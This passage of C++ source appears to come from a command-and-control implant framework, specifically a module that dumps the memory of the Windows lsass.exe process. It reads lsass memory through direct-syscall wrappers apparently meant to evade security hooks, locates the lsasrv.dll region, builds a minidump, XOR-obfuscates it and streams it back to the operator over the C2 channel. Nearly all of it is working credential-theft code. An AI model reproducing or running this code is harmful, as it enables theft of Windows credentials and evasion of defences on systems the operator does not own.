|
{
|
|
c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
|
|
return -1;
|
|
}
|
|
HMODULE lsasrvdll_address = (HMODULE)modules[0].dll_base;
|
|
|
|
int lsasrvdll_size = 0;
|
|
bool bool_test = false;
|
|
|
|
std::vector<Memory64Info> mem64info_List;
|
|
std::string memory_regions;
|
|
while (address < sysInfo.lpMaximumApplicationAddress)
|
|
{
|
|
// TODO NtQueryVirtualMemory
|
|
// if (VirtualQueryEx(lsassHandle, address, &mbi, sizeof(mbi)) == sizeof(mbi))
|
|
SIZE_T returnLength;
|
|
if (!Sw3NtQueryVirtualMemory_(lsassHandle, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength))
|
|
{
|
|
if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
|
|
{
|
|
mem64info_List.emplace_back(mbi.BaseAddress, mbi.RegionSize);
|
|
|
|
char* buffer = new char[mbi.RegionSize];
|
|
SIZE_T bytesRead;
|
|
// TODO NtReadVirtualMemory
|
|
// ReadProcessMemory(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
|
|
Sw3NtReadVirtualMemory_(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
|
|
memory_regions.append(buffer, mbi.RegionSize);
|
|
delete buffer;
|
|
|
|
// append_binary_data(filename, buffer);
|
|
|
|
// Calculate size of lsasrv.dll region
|
|
if (mbi.BaseAddress == lsasrvdll_address)
|
|
{
|
|
bool_test = true;
|
|
}
|
|
if (bool_test == true)
|
|
{
|
|
if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
|
|
{
|
|
bool_test = false;
|
|
}
|
|
else
|
|
{
|
|
lsasrvdll_size += (int)mbi.RegionSize;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
address += mbi.RegionSize;
|
|
}
|
|
|
|
CloseHandle(lsassHandle);
|
|
|
|
std::string dumpfile;
|
|
CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile);
|
|
|
|
XOR(dumpfile, xorKey);
|
|
|
|
m_outputfile = c2Message.outputfile();
|
|
m_taskUuid = c2Message.uuid();
|
|
m_dumpBuffer = std::move(dumpfile);
|
|
m_bytesSent = 0;
|
|
emitChunk(c2RetMessage);
|
|
return 0;
|
|
}
|
|
|
|
#endif
|
|
|
|
return 0;
|
|
}
|
|
|
|
int MiniDump::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
|
{
|
|
#ifdef BUILD_TEAMSERVER
|
|
int errorCode = c2RetMessage.errorCode();
|
|
if(errorCode>0)
|
|
{
|
|
if(errorCode==LSASS_PID_NOT_FOUND)
|
|
errorMsg = "lsass.exe PID not found.";
|
|
else if(errorCode==ERROR_SETDEBUG)
|
|
errorMsg = "setDebugPrivilege failed.";
|
|
else if(errorCode==ERROR_OPEN_PROCESS)
|
|
errorMsg = "OpenProcess failed.";
|
|
else if(errorCode==ERROR_GET_REMOTE_HANDLE)
|
|
errorMsg = "GetRemoteModuleHandle failed.";
|
|
else if(errorCode==ERROR_WRITE_OUTPUT_FILE)
|
|
errorMsg = "Write output file failed.";
|
|
else
|
|
errorMsg = "Unknown error";
|
|
|
|
}
|
|
#endif
|
|
return 0;
|
|
}
|